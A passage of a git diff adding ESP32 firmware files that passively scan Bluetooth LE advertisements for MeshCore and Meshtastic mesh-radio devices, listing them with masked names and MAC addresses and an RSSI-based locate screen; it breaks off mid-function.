fillWidth, 2); + } + + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 64, "<- Back"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} + +void resetXPData() { + currentXP = 0; + saveLevelData(); +} + +void levelSystemLoop() { + if (needsRedraw) { + displayLevelScreen(); + needsRedraw = false; + } +} \ No newline at end of file diff --git a/cyd-port/src/meshcore_detector.cpp b/cyd-port/src/meshcore_detector.cpp new file mode 100644 index 0000000..3312b8a --- /dev/null +++ b/cyd-port/src/meshcore_detector.cpp @@ -0,0 +1,630 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/meshcore_detector.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT +#define BTN_CENTER BUTTON_PIN_CENTER + +struct MeshCoreDeviceData { + char name[32]; + char address[18]; + int8_t rssi; + bool hasName; + unsigned long lastSeen; + bool isMeshCore; +}; +static std::vector meshcoreDevices; + +const int MAX_DEVICES = 100; + +int currentIndex = 0; +int listStartIndex = 0; +bool isDetailView = false; +bool isLocateMode = false; +char locateTargetAddress[18] = {0}; +unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +static bool needsRedraw = true; +static int lastDeviceCount = 0; +static unsigned long lastLocateUpdate = 0; +const unsigned long locateUpdateInterval = 1000; +static unsigned long lastCountdownUpdate = 0; +const unsigned long countdownUpdateInterval = 1000; +static bool wasScanning = false; + +static bool isScanning = false; +static unsigned long lastScanTime = 0; +const unsigned long scanInterval = 30000; +const unsigned long scanDuration = 8; + +static bool bleInitialized = false; +static bool scanCompleted = false; + +static esp_ble_scan_params_t ble_scan_params = { + .scan_type = BLE_SCAN_TYPE_ACTIVE, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL, + .scan_interval = 0x100, + .scan_window = 0xA0, + .scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE +}; + +static void bda_to_string(uint8_t *bda, char *str, size_t size) { + if (bda == NULL || str == NULL || size < 18) { + return; + } + snprintf(str, size, "%02x:%02x:%02x:%02x:%02x:%02x", + bda[0], bda[1], bda[2], bda[3], bda[4], bda[5]); +} + +const uint8_t MESHCORE_SERVICE_UUID[16] = { + 0x9E, 0xCA, 0xDC, 0x24, 0x0E, 0xE5, 0xA9, 0xE0, + 0x93, 0xF3, 0xA3, 0xB5, 0x01, 0x00, 0x40, 0x6E +}; + +bool hasMeshCoreServiceUUID(uint8_t *adv_data, uint8_t adv_data_len) { + uint8_t uuid_len = 0; + uint8_t *uuid_data = esp_ble_resolve_adv_data(adv_data, ESP_BLE_AD_TYPE_128SRV_CMPL, &uuid_len); + + if (uuid_data != NULL && uuid_len >= 16) { + for (int i = 0; i + 16 <= uuid_len; i += 16) { + if (memcmp(&uuid_data[i], MESHCORE_SERVICE_UUID, 16) == 0) { + return true; + } + } + } + + uuid_len = 0; + uuid_data = esp_ble_resolve_adv_data(adv_data, ESP_BLE_AD_TYPE_128SRV_PART, &uuid_len); + + if (uuid_data != NULL && uuid_len >= 16) { + for (int i = 0; i + 16 <= uuid_len; i += 16) { + if (memcmp(&uuid_data[i], MESHCORE_SERVICE_UUID, 16) == 0) { + return true; + } + } + } + + return false; +} + +bool hasMeshCoreName(uint8_t *adv_data, uint8_t adv_data_len) { + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(adv_data, ESP_BLE_AD_TYPE_NAME_CMPL, &adv_name_len); + + if (adv_name == NULL) { + adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(adv_data, ESP_BLE_AD_TYPE_NAME_SHORT, &adv_name_len); + } + + if (adv_name != NULL && adv_name_len >= 9) { + char nameBuf[32]; + uint8_t copyLen = (adv_name_len < 31) ? adv_name_len : 31; + memcpy(nameBuf, adv_name, copyLen); + nameBuf[copyLen] = '\0'; + + return (strncmp(nameBuf, "MeshCore-", 9) == 0); + } + + return false; +} + +static void process_scan_result(esp_ble_gap_cb_param_t *scan_result) { + uint8_t *bda = scan_result->scan_rst.bda; + char addrStr[18]; + bda_to_string(bda, addrStr, sizeof(addrStr)); + + if (strlen(addrStr) < 12) return; + + for (size_t i = 0; i < meshcoreDevices.size(); i++) { + if (strcmp(meshcoreDevices[i].address, addrStr) == 0) { + + meshcoreDevices[i].rssi = scan_result->scan_rst.rssi; + meshcoreDevices[i].lastSeen = millis(); + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + char tempName[32]; + memcpy(tempName, adv_name, adv_name_len); + tempName[adv_name_len] = '\0'; + + if (strncmp(tempName, "MeshCore-", 9) == 0) { + memcpy(meshcoreDevices[i].name, tempName, adv_name_len + 1); + meshcoreDevices[i].hasName = true; + } else if (!meshcoreDevices[i].hasName) { + meshcoreDevices.erase(meshcoreDevices.begin() + i); + return; + } + } + + if (!isLocateMode) { + std::sort(meshcoreDevices.begin(), meshcoreDevices.end(), + [](const MeshCoreDeviceData &a, const MeshCoreDeviceData &b) { + return a.rssi > b.rssi; + }); + } + return; + } + } + + bool hasUUID = hasMeshCoreServiceUUID(scan_result->scan_rst.ble_adv, + scan_result->scan_rst.adv_data_len); + + if (!hasUUID) { + return; + } + + if (isLocateMode && strlen(locateTargetAddress) > 0) { + if (strcmp(addrStr, locateTargetAddress) != 0) { + return; + } + } else if (meshcoreDevices.size() >= MAX_DEVICES) { + return; + } + + MeshCoreDeviceData newDev = {}; + strncpy(newDev.address, addrStr, 17); + newDev.address[17] = '\0'; + newDev.rssi = scan_result->scan_rst.rssi; + newDev.lastSeen = millis(); + newDev.isMeshCore = true; + + strcpy(newDev.name, "MeshCore"); + newDev.hasName = false; + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + char tempName[32]; + memcpy(tempName, adv_name, adv_name_len); + tempName[adv_name_len] = '\0'; + + if (strncmp(tempName, "MeshCore-", 9) == 0) { + memcpy(newDev.name, tempName, adv_name_len + 1); + newDev.hasName = true; + } + } + + meshcoreDevices.push_back(newDev); + + if (!isLocateMode) { + std::sort(meshcoreDevices.begin(), meshcoreDevices.end(), + [](const MeshCoreDeviceData &a, const MeshCoreDeviceData &b) { + return a.rssi > b.rssi; + }); + } + + needsRedraw = true; +} + +static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) { + switch (event) { + case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: + if (param->scan_param_cmpl.status == ESP_BT_STATUS_SUCCESS) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + lastScanTime = millis(); + } + break; + case ESP_GAP_BLE_SCAN_START_COMPLETE_EVT: + if (param->scan_start_cmpl.status != ESP_BT_STATUS_SUCCESS) { + isScanning = false; + } + break; + case ESP_GAP_BLE_SCAN_RESULT_EVT: + switch (param->scan_rst.search_evt) { + case ESP_GAP_SEARCH_INQ_RES_EVT: + process_scan_result(param); + break; + case ESP_GAP_SEARCH_INQ_CMPL_EVT: + lastScanTime = millis(); + scanCompleted = true; + needsRedraw = true; + if (isLocateMode) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } else { + isScanning = false; + } + break; + default: + break; + } + break; + case ESP_GAP_BLE_SCAN_STOP_COMPLETE_EVT: + isScanning = false; + scanCompleted = true; + break; + default: + break; + } +} + +void meshcoreDetectorSetup() { + meshcoreDevices.clear(); + meshcoreDevices.reserve(MAX_DEVICES); + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + lastButtonPress = 0; + isScanning = true; + scanCompleted = false; + needsRedraw = true; + lastDeviceCount = 0; + lastLocateUpdate = 0; + lastCountdownUpdate = 0; + wasScanning = false; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.clearBuffer(); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "MeshCore..."); + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 60, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + + initBLE(); + + esp_ble_gap_register_callback(esp_gap_cb); + esp_ble_gap_set_scan_params(&ble_scan_params); + + bleInitialized = true; + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_CENTER, INPUT_PULLUP); +} + +void meshcoreDetectorLoop() { + if (!bleInitialized) return; + + unsigned long now = millis(); + + if (isScanning && !isLocateMode) { + if (lastDeviceCount != (int)meshcoreDevices.size() || wasScanning != isScanning) { + lastDeviceCount = (int)meshcoreDevices.size(); + wasScanning = isScanning; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "MeshCore..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", (int)meshcoreDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (meshcoreDevices.size() * (barWidth - 4)) / MAX_DEVICES; + if (fillWidth > 0) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + return; + } + + if (wasScanning != isScanning) { + wasScanning = isScanning; + needsRedraw = true; + } + + + unsigned long effectiveScanInterval = scanInterval; + uint32_t effectiveScanDuration = scanDuration; + + if (meshcoreDevices.empty() && isContinuousScanEnabled()) { + effectiveScanInterval = 500; + effectiveScanDuration = 3; + } + + if (!isScanning && scanCompleted && now - lastScanTime > effectiveScanInterval && + !isDetailView && !isLocateMode) { + if (meshcoreDevices.size() >= MAX_DEVICES) { + std::sort(meshcoreDevices.begin(), meshcoreDevices.end(), + [](const MeshCoreDeviceData &a, const MeshCoreDeviceData &b) { + if (a.lastSeen != b.lastSeen) { + return a.lastSeen < b.lastSeen; + } + return a.rssi < b.rssi; + }); + + int devicesToRemove = MAX_DEVICES / 4; + if (devicesToRemove > 0) { + meshcoreDevices.erase(meshcoreDevices.begin(), + meshcoreDevices.begin() + devicesToRemove); + } + + currentIndex = listStartIndex = 0; + } + + scanCompleted = false; + isScanning = true; + esp_ble_gap_start_scanning(effectiveScanDuration); + lastScanTime = now; + return; + } + + if (scanCompleted && now - lastButtonPress > debounceTime) { + if (!isDetailView && !isLocateMode && digitalRead(BTN_UP) == LOW && currentIndex > 0) { + --currentIndex; + if (currentIndex < listStartIndex) + --listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_DOWN) == LOW && + currentIndex < (int)meshcoreDevices.size() - 1) { + ++currentIndex; + if (currentIndex >= listStartIndex + 5) + ++listStartIndex; + lastButtonPress = now; + needsRedraw = true; + } else if (!isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !meshcoreDevices.empty()) { + isDetailView = true; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_RIGHT) == LOW && + !meshcoreDevices.empty()) { + isLocateMode = true; + strncpy(locateTargetAddress, meshcoreDevices[currentIndex].address, sizeof(locateTargetAddress) - 1); + locateTargetAddress[sizeof(locateTargetAddress) - 1] = '\0'; + if (!isScanning) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } + lastButtonPress = now; + lastLocateUpdate = now; + needsRedraw = true; + } else if (isLocateMode && digitalRead(BTN_BACK) == LOW) { + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } else if (isDetailView && !isLocateMode && digitalRead(BTN_BACK) == LOW) { + isDetailView = false; + if (isScanning) { + esp_ble_gap_stop_scanning(); + isScanning = false; + } + lastButtonPress = now; + needsRedraw = true; + } + } + + if (meshcoreDevices.empty()) { + if (currentIndex != 0 || isDetailView || isLocateMode) { + needsRedraw = true; + } + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + } else { + currentIndex = constrain(currentIndex, 0, (int)meshcoreDevices.size() - 1); + listStartIndex = + constrain(listStartIndex, 0, max(0, (int)meshcoreDevices.size() - 5)); + } + + if (isDetailView && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (isLocateMode && now - lastLocateUpdate >= locateUpdateInterval) { + lastLocateUpdate = now; + needsRedraw = true; + } + + if (meshcoreDevices.empty() && scanCompleted && !isScanning && + now - lastCountdownUpdate >= countdownUpdateInterval) { + lastCountdownUpdate = now; + needsRedraw = true; + } + + if (!needsRedraw) { + return; + } + + needsRedraw = false; + u8g2.clearBuffer(); + + if (meshcoreDevices.empty()) { + if (isContinuousScanEnabled()) { + + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "MeshCore..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "No MeshCore found"); + u8g2.setFont(u8g2_font_5x8_tr); + char timeStr[32]; + unsigned long timeLeft = (scanInterval - (now - lastScanTime)) / 1000; + snprintf(timeStr, sizeof(timeStr), "Scanning in %lus", timeLeft); + u8g2.drawStr(0, 30, timeStr); + u8g2.drawStr(0, 45, "Press SEL to exit"); + } + } else if (isLocateMode) { + auto &dev = meshcoreDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "%.16s", maskedName); + u8g2.drawStr(0, 8, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "%s", maskedAddress); + u8g2.drawStr(0, 16, buf); + + u8g2.setFont(u8g2_font_7x13B_tr); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 28, buf); + + u8g2.setFont(u8g2_font_5x8_tr); + int rssiClamped = constrain(dev.rssi, -100, -40); + int signalLevel = map(rssiClamped, -100, -40, 0, 5); + + const char* quality; + if (signalLevel >= 5) quality = "EXCELLENT"; + else if (signalLevel >= 4) quality = "VERY GOOD"; + else if (signalLevel >= 3) quality = "GOOD"; + else if (signalLevel >= 2) quality = "FAIR"; + else if (signalLevel >= 1) quality = "WEAK"; + else quality = "VERY WEAK"; + + snprintf(buf, sizeof(buf), "Signal: %s", quality); + u8g2.drawStr(0, 38, buf); + + int barWidth = 12; + int barSpacing = 5; + int totalWidth = (barWidth * 5) + (barSpacing * 4); + int startX = (128 - totalWidth) / 2; + int baseY = 54; + + for (int i = 0; i < 5; i++) { + int barHeight = 8 + (i * 2); + int x = startX + (i * (barWidth + barSpacing)); + int y = baseY - barHeight; + + if (i < signalLevel) { + u8g2.drawBox(x, y, barWidth, barHeight); + } else { + u8g2.drawFrame(x, y, barWidth, barHeight); + } + } + + u8g2.drawStr(0, 62, "L=Back SEL=Exit"); + } else if (isDetailView) { + u8g2.setFont(u8g2_font_5x8_tr); + auto &dev = meshcoreDevices[currentIndex]; + u8g2.setFont(u8g2_font_5x8_tr); + char buf[32]; + + char maskedName[33]; + maskName(dev.name, maskedName, sizeof(maskedName) - 1); + snprintf(buf, sizeof(buf), "Name: %s", maskedName); + u8g2.drawStr(0, 10, buf); + + char maskedAddress[18]; + maskMAC(dev.address, maskedAddress); + snprintf(buf, sizeof(buf), "MAC: %s", maskedAddress); + u8g2.drawStr(0, 20, buf); + snprintf(buf, sizeof(buf), "RSSI: %d dBm", dev.rssi); + u8g2.drawStr(0, 30, buf); + snprintf(buf, sizeof(buf), "Age: %lus", (millis() - dev.lastSeen) / 1000); + u8g2.drawStr(0, 40, buf); + u8g2.drawStr(0, 60, "L=Back SEL=Exit R=Locate"); + } else { + u8g2.setFont(u8g2_font_6x10_tr); + char header[32]; + snprintf(header, sizeof(header), "MeshCore: %d/%d", + (int)meshcoreDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 10, header); + + for (int i = 0; i < 5; ++i) { + int idx = listStartIndex + i; + if (idx >= (int)meshcoreDevices.size()) + break; + auto &d = meshcoreDevices[idx]; + if (idx == currentIndex) + u8g2.drawStr(0, 20 + i * 10, ">"); + char line[32]; + const char* displayName = d.name[0] ? d.name : "MeshCore"; + char maskedName[33]; + maskName(displayName, maskedName, sizeof(maskedName) - 1); + snprintf(line, sizeof(line), "%.8s | RSSI %d", + maskedName, d.rssi); + u8g2.drawStr(10, 20 + i * 10, line); + } + } + u8g2.sendBuffer(); + displayMirrorSend(u8g2); +} \ No newline at end of file diff --git a/cyd-port/src/meshtastic_detector.cpp b/cyd-port/src/meshtastic_detector.cpp new file mode 100644 index 0000000..0ddf826 --- /dev/null +++ b/cyd-port/src/meshtastic_detector.cpp @@ -0,0 +1,597 @@ +/* + nyanBOX by Nyan Devices + https://github.com/jbohack/nyanBOX + Copyright (c) 2025 jbohack + + Licensed under the MIT License + https://opensource.org/licenses/MIT + + SPDX-License-Identifier: MIT +*/ + +#include "../include/meshtastic_detector.h" +#include "../include/radio_manager.h" +#include "../include/sleep_manager.h" +#include "../include/display_mirror.h" +#include "../include/setting.h" +#include "esp_bt.h" +#include "esp_gap_ble_api.h" +#include "esp_bt_main.h" +#include + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +#define BTN_UP BUTTON_PIN_UP +#define BTN_DOWN BUTTON_PIN_DOWN +#define BTN_RIGHT BUTTON_PIN_RIGHT +#define BTN_BACK BUTTON_PIN_LEFT +#define BTN_CENTER BUTTON_PIN_CENTER + +struct MeshtasticDeviceData { + char name[32]; + char address[18]; + int8_t rssi; + bool hasName; + unsigned long lastSeen; + bool isMeshtastic; +}; +static std::vector meshtasticDevices; + +const int MAX_DEVICES = 100; + +int currentIndex = 0; +int listStartIndex = 0; +bool isDetailView = false; +bool isLocateMode = false; +char locateTargetAddress[18] = {0}; +unsigned long lastButtonPress = 0; +const unsigned long debounceTime = 200; + +static bool needsRedraw = true; +static int lastDeviceCount = 0; +static unsigned long lastLocateUpdate = 0; +const unsigned long locateUpdateInterval = 1000; +static unsigned long lastCountdownUpdate = 0; +const unsigned long countdownUpdateInterval = 1000; +static bool wasScanning = false; + +static bool isScanning = false; +static unsigned long lastScanTime = 0; +const unsigned long scanInterval = 30000; +const unsigned long scanDuration = 8; + +static bool bleInitialized = false; +static bool scanCompleted = false; + +static esp_ble_scan_params_t ble_scan_params = { + .scan_type = BLE_SCAN_TYPE_ACTIVE, + .own_addr_type = BLE_ADDR_TYPE_PUBLIC, + .scan_filter_policy = BLE_SCAN_FILTER_ALLOW_ALL, + .scan_interval = 0x100, + .scan_window = 0xA0, + .scan_duplicate = BLE_SCAN_DUPLICATE_DISABLE +}; + +static void bda_to_string(uint8_t *bda, char *str, size_t size) { + if (bda == NULL || str == NULL || size < 18) { + return; + } + snprintf(str, size, "%02x:%02x:%02x:%02x:%02x:%02x", + bda[0], bda[1], bda[2], bda[3], bda[4], bda[5]); +} + +const uint8_t MESHTASTIC_SERVICE_UUID[16] = { + 0xFD, 0xEA, 0x73, 0xE2, 0xCA, 0x5D, 0xA8, 0x9F, + 0x1F, 0x46, 0xA8, 0x15, 0x18, 0xB2, 0xA1, 0x6B +}; + +bool hasMeshtasticServiceUUID(uint8_t *adv_data, uint8_t adv_data_len) { + uint8_t uuid_len = 0; + uint8_t *uuid_data = esp_ble_resolve_adv_data(adv_data, ESP_BLE_AD_TYPE_128SRV_CMPL, &uuid_len); + + if (uuid_data != NULL && uuid_len >= 16) { + for (int i = 0; i + 16 <= uuid_len; i += 16) { + if (memcmp(&uuid_data[i], MESHTASTIC_SERVICE_UUID, 16) == 0) { + return true; + } + } + } + + uuid_len = 0; + uuid_data = esp_ble_resolve_adv_data(adv_data, ESP_BLE_AD_TYPE_128SRV_PART, &uuid_len); + + if (uuid_data != NULL && uuid_len >= 16) { + for (int i = 0; i + 16 <= uuid_len; i += 16) { + if (memcmp(&uuid_data[i], MESHTASTIC_SERVICE_UUID, 16) == 0) { + return true; + } + } + } + + return false; +} + +static void process_scan_result(esp_ble_gap_cb_param_t *scan_result) { + uint8_t *bda = scan_result->scan_rst.bda; + char addrStr[18]; + bda_to_string(bda, addrStr, sizeof(addrStr)); + + if (strlen(addrStr) < 12) return; + + for (size_t i = 0; i < meshtasticDevices.size(); i++) { + if (strcmp(meshtasticDevices[i].address, addrStr) == 0) { + + meshtasticDevices[i].rssi = scan_result->scan_rst.rssi; + meshtasticDevices[i].lastSeen = millis(); + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(meshtasticDevices[i].name, adv_name, adv_name_len); + meshtasticDevices[i].name[adv_name_len] = '\0'; + meshtasticDevices[i].hasName = true; + } + + if (!isLocateMode) { + std::sort(meshtasticDevices.begin(), meshtasticDevices.end(), + [](const MeshtasticDeviceData &a, const MeshtasticDeviceData &b) { + return a.rssi > b.rssi; + }); + } + return; + } + } + + bool isMeshtasticDevice = hasMeshtasticServiceUUID(scan_result->scan_rst.ble_adv, + scan_result->scan_rst.adv_data_len); + + if (!isMeshtasticDevice) { + return; + } + + if (isLocateMode && strlen(locateTargetAddress) > 0) { + if (strcmp(addrStr, locateTargetAddress) != 0) { + return; + } + } else if (meshtasticDevices.size() >= MAX_DEVICES) { + return; + } + + MeshtasticDeviceData newDev = {}; + strncpy(newDev.address, addrStr, 17); + newDev.address[17] = '\0'; + newDev.rssi = scan_result->scan_rst.rssi; + newDev.lastSeen = millis(); + newDev.isMeshtastic = true; + + strcpy(newDev.name, "Meshtastic"); + newDev.hasName = false; + + uint8_t adv_name_len = 0; + uint8_t *adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_CMPL, + &adv_name_len); + + if (adv_name == NULL) { + adv_name_len = 0; + adv_name = esp_ble_resolve_adv_data(scan_result->scan_rst.ble_adv, + ESP_BLE_AD_TYPE_NAME_SHORT, + &adv_name_len); + } + + if (adv_name != NULL && adv_name_len > 0 && adv_name_len < 32) { + memcpy(newDev.name, adv_name, adv_name_len); + newDev.name[adv_name_len] = '\0'; + newDev.hasName = true; + } + + meshtasticDevices.push_back(newDev); + + if (!isLocateMode) { + std::sort(meshtasticDevices.begin(), meshtasticDevices.end(), + [](const MeshtasticDeviceData &a, const MeshtasticDeviceData &b) { + return a.rssi > b.rssi; + }); + } + + needsRedraw = true; +} + +static void esp_gap_cb(esp_gap_ble_cb_event_t event, esp_ble_gap_cb_param_t *param) { + switch (event) { + case ESP_GAP_BLE_SCAN_PARAM_SET_COMPLETE_EVT: + if (param->scan_param_cmpl.status == ESP_BT_STATUS_SUCCESS) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + lastScanTime = millis(); + } + break; + case ESP_GAP_BLE_SCAN_START_COMPLETE_EVT: + if (param->scan_start_cmpl.status != ESP_BT_STATUS_SUCCESS) { + isScanning = false; + } + break; + case ESP_GAP_BLE_SCAN_RESULT_EVT: + switch (param->scan_rst.search_evt) { + case ESP_GAP_SEARCH_INQ_RES_EVT: + process_scan_result(param); + break; + case ESP_GAP_SEARCH_INQ_CMPL_EVT: + lastScanTime = millis(); + scanCompleted = true; + needsRedraw = true; + if (isLocateMode) { + isScanning = true; + esp_ble_gap_start_scanning(scanDuration); + } else { + isScanning = false; + } + break; + default: + break; + } + break; + case ESP_GAP_BLE_SCAN_STOP_COMPLETE_EVT: + isScanning = false; + scanCompleted = true; + break; + default: + break; + } +} + +void meshtasticDetectorSetup() { + meshtasticDevices.clear(); + meshtasticDevices.reserve(MAX_DEVICES); + currentIndex = listStartIndex = 0; + isDetailView = false; + isLocateMode = false; + memset(locateTargetAddress, 0, sizeof(locateTargetAddress)); + lastButtonPress = 0; + isScanning = true; + scanCompleted = false; + needsRedraw = true; + lastDeviceCount = 0; + lastLocateUpdate = 0; + lastCountdownUpdate = 0; + wasScanning = false; + + u8g2.begin(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.clearBuffer(); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "Meshtastic..."); + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", 0, MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 60, "Press SEL to exit"); + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + + initBLE(); + + esp_ble_gap_register_callback(esp_gap_cb); + esp_ble_gap_set_scan_params(&ble_scan_params); + + bleInitialized = true; + + pinMode(BTN_UP, INPUT_PULLUP); + pinMode(BTN_DOWN, INPUT_PULLUP); + pinMode(BTN_RIGHT, INPUT_PULLUP); + pinMode(BTN_BACK, INPUT_PULLUP); + pinMode(BTN_CENTER, INPUT_PULLUP); +} + +void meshtasticDetectorLoop() { + if (!bleInitialized) return; + + unsigned long now = millis(); + + if (isScanning && !isLocateMode) { + if (lastDeviceCount != (int)meshtasticDevices.size() || wasScanning != isScanning) { + lastDeviceCount = (int)meshtasticDevices.size(); + wasScanning = isScanning; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 10, "Scanning for"); + u8g2.drawStr(0, 20, "Meshtastic..."); + + char countStr[32]; + snprintf(countStr, sizeof(countStr), "%d/%d devices", (int)meshtasticDevices.size(), MAX_DEVICES); + u8g2.drawStr(0, 35, countStr); + + int barWidth = 120; + int barHeight = 10; + int barX = (128 - barWidth) / 2; + int barY = 42; + + u8g2.drawFrame(barX, barY, barWidth, barHeight); + + int fillWidth = (meshtasticDevices.size() * (barWidth - 4)) / MAX_DEVICES; + if (fillWidth > 0) { + u8g2.drawBox(barX + 2, barY + 2, fillWidth, barHeight - 4); + } + + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 62, "Press SEL to exit"); + + u8g2.sendBuffer(); + displayMirrorSend(u8g2); + } + return; + } + + if (wasScanning != isScanning) { + wasScanning = isScanning; + needsRedraw = true; + } + + + unsigned long effectiveScanInterval = scanInterval; + uint32_t effectiveScanDuration = scanDuration; + + if (meshtasticDevices.empty() && isContinuousScanEnabled()) { + effectiveScanInterval = 500; + effectiveScanDuration = 3; + } + + if (!isScanning && scanCompleted && now - lastScanTime > effectiveScanInterval && + !isDetailView && !isLocateMode) { + if (meshtasticDevices.size() >= MAX_DEVICES) { + std::sort(meshtasticDevices.begin(), meshtasticDevices.end(), + [](const MeshtasticDeviceData &a, const MeshtasticDeviceData &b) { + if (a.lastSeen != b.lastSeen) { + return a.lastSeen < b.lastSeen; + } + return a.rssi < b.rssi; + }); + + int devicesToRemove = MAX_DEVICES / 4; + if (devicesToRemove > 0) { + meshtasticDevices.erase(meshtasticDevices.begin(), + meshtasticDevices.begin() + devicesToRemove); + } + + currentIndex = listStartIndex = 0; + } + + scanCompleted = false; + isScanning = true; + 